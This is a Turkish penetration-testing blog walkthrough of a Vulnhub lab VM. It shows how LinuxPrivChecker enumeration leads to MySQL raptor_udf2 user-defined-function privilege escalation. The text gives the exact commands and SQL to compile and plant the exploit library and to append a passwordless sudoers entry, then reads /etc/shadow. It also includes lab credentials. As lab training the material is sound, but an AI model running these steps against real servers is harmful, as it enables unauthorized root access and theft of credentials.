LinuxPrivChecker Betiği ile Tespit Edilen MySql Kullanıcı Tanımlı Fonksiyon (raptor_udf) Hak Yükseltme Zafiyetinin İstismarı

0
821
views
Sızma testleri sırasında uygulamaların güvenilir bir şekilde yapılandırılmamasından ve gerekli yamaların geçilmemesinden dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Lord Of The Root: 1.0.1 sanal makinesinde, LinuxPrivChecker betiği (Linux Privilege Escalation Check Script) ile tespit edilen Mysql servisindeki Kullanıcı Tanımlı Fonksyion zafiyeti kötüye kullanılarak Mysql servisini çalıştıran işletim sistemi kullanıcısı (“root“) yetkilerine sahip olunacaktır.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Lord Of The Root: 1.0.1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/lord-of-the-root-101,129/

Bu makinenin komut satırına SSH ile erişim için aşağıdaki kimlik bilgileri ile kullanılabilir.

Kullanıcı Adı: smeagol
Parola: MyPreciousR00t

Erişilen makinede “smeagol” kullanıcısının standart yetkilere sahip olduğu ve kullanılan işletim sisteminin 32 bit mimarideki Ubuntu 14.04.3 LTS olduğu görülmektedir.

id
uname -a
head -3 /etc/passwd
tail -4 /etc/passwd
cat /etc/shadow

 

A) Hak Yükseltme Zafiyetinin Tespiti

Muhtemel hak yükseltme zafiyetlerinin listesi için LinuxPrivChecker isimli Python betiği (Linux Privilege Escalation Check Script) kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.

wget https://www.securitysift.com/download/linuxprivchecker.py

Not: Dosyanın yedeği Github üzerindeki başka hesaplardan de elde edilebilir.

https://raw.githubusercontent.com/reider-roque/linpostexp/master/linexpchecker.py

 

İndirilen dosya bir servis (web gibi) üzerinden erişime açılır ve kurban makineye aktarılır.

md5sum linuxprivchecker.py
python -m SimpleHTTPServer 9999

wget http://172.20.50.128:9999/linuxprivchecker.py
ls -la linuxprivchecker.py

 

Betik çıktısı uzun olduğu için bir dosyaya yazdırılması gerekebilir.

python linuxprivchecker.py > Sonuc.txt
head -15 Sonuc.txt

 

Gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.

grep -E “^\[\*\]|^\[\+\]” Sonuc.txt

[*] GETTING BASIC SYSTEM INFO…
[+] Kernel
[+] Hostname
[+] Operating System
[*] GETTING NETWORKING INFO…
[+] Interfaces
[+] Netstat
[+] Route
[*] GETTING FILESYSTEM INFO…
[+] Mount results
[+] fstab entries
[+] Scheduled cron jobs
[+] Writable cron dirs
[*] ENUMERATING USER AND ENVIRONMENTAL INFO…
[+] Logged in User Activity
[+] Super Users Found:
[+] Environment
[+] Root and current user history (depends on privs)
[+] Sudoers (privileged)
[+] All users
[+] Current User
[+] Current User ID
[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS…
[+] World Writeable Directories for User/Group ‘Root’
[+] World Writeable Directories for Users other than Root
[+] World Writable Files
[+] Checking if root’s home folder is accessible
[+] SUID/SGID Files and Directories
[+] Logs containing keyword ‘password’
[+] Config files containing keyword ‘password’
[+] Shadow File (Privileged)
[*] ENUMERATING PROCESSES AND APPLICATIONS…
[+] Installed Packages
[+] Current processes
[+] Apache Version and Modules
[+] Apache Config File
[+] Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)
[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER…
[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING…
[+] Installed Tools
[+] Related Shell Escape Sequences…
[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS…

 

Hak yükseltme zafiyetleri incelendiğinde “MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit” diye isimlendirilen zafiyetin önerildiği görülmektedir.

grep “PRIVILEGE ESCALATION EXPLOITS” Sonuc.txt -A20

 

B) MySQL Servisine Erişimin Sağlanması

Veritabanı yönetim sistemi olarak kullanılan Mysql servisinin “root” kullanıcı yetkileri ile çalıştığı görülmektedir.

ps aux | grep mysql | grep -v grep

 

Disk sistemi incelendiğinde Mysql oturum bilgileri “login.php” dosyasında yazılı olduğu tespit edilir. Dosya içeriğinden kullanıcı adının “root” ve parolasının “darkshadow” olduğu görülmektedir.

cd /var/www/978345210/
ls
cat login.php

 

Böylece Mysql üzerinde oturum açılabilmiştir.

mysql -u root -pdarkshadow
show databases;
use Webapp;
show tables;

 

Kullanılan Mysql sürümünün 5.5.44 olduğu ve detayları listelenebilir.

status;
select @@version;

 

C) UDF ile Hak Yükseltme

MySQL 4.x/5.0 (Linux) – User-Defined Function (UDF) Dynamic Library Exploit (2)” başlıklı istismara ait C kodu ile yazılmış dosya internetten saldırgan makinesine indirilir ve sonra da kurban sanal makineye aktarılır.

wget https://www.exploit-db.com/raw/1518/ -O raptor_udf2.cmd5sum raptor_udf2.c
python -m SimpleHTTPServer 9999

cd $HOME
wget http://172.20.50.128:9999/raptor_udf2.c
ls -la raptor_udf2.c

 

İstismar kodunda belirtilen işlemlerin ilk adımı olarak “-c” parametresi ile derlenir ve “*.o” uzantılı olarak bir ‘relocatable‘ dosya elde edilmiş olur.

ls
gcc -g -c raptor_udf2.c
ls
file raptor_udf2.o
strings raptor_udf2.o

 

İkinci adım olarak da oluşan dosya, SO (Shared Object) dosyasına çevirilir.

gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
ls
file raptor_udf2.so
ls -ls raptor_udf2.*

 

Not: “-W1” seçeneği “-Wl” olarak değiştirilmiştir.

Üçüncü adım olarak oluşan “raptor_udf2.so” dosyası kütüphanelerin bulunduğu dizine atılır.

mysql -u root -pdarkshadow
use mysql;
create table foo(line blob);
insert into foo values(load_file(‘/home/raptor/raptor_udf2.so’));
select * from foo into dumpfile ‘/usr/lib/raptor_udf2.so’;

 

SO dosyasının “/usr/lib/” dizinine kopyalandığı görülmektedir.

ls -la /usr/lib/raptor_udf2.so
md5sum /home/smeagol/raptor_udf2.so /usr/lib/raptor_udf2.so

 

Dördüncü adım olarak kullanıcı tanımlı fonksiyon oluşturulur. Ancak ilgili kütüphanenin mevcut olmadı hatası alınmaktadır. Bunun sebebi mevcut sanal makinedeki Mysql servisinin kütüphane dosyalarını “/usr/lib/” dizininde değil, “/usr/lib/mysql/plugin/” dizininde saklamasıdır.

create function do_system returns integer soname ‘raptor_udf2.so’;
SHOW VARIABLES WHERE Variable_Name LIKE “%plugin%”;

 

Bu sebeple “raptor_udf2.so” dosyası doğru dizine kaydedilir ve fonksiyon oluşturulur.

select * from foo into dumpfile ‘/usr/lib/mysql/plugin/raptor_udf2.so’;
select * from func;
create function do_system returns integer soname ‘raptor_udf2.so’;
select * from func;

 

Böylece mevcut kullanıcıya (smeagol) “root” gibi komut çalıştırma yetsini verilir ve hak yükseltilmiş olunur.

select do_system(‘echo “smeagol ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’);
exit
id
sudo su –
id
head -3 /etc/shadow
tail -3 /etc/shadow

 

Kaynak:

https://www.rebootuser.com/?p=1758
Gaining a Root shell using MySQL User Defined Functions and SETUID Binaries

VulnHub – Lord Of The Root Writeup


https://github.com/Hamza-Megahed/CTFs/blob/master/lord-of-the-root/README
https://highon.coffee/blog/lord-of-the-root-walkthrough/
http://phrack.org/issues/61/8.html#article
http://man7.org/linux/man-pages/man5/elf.5.html

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.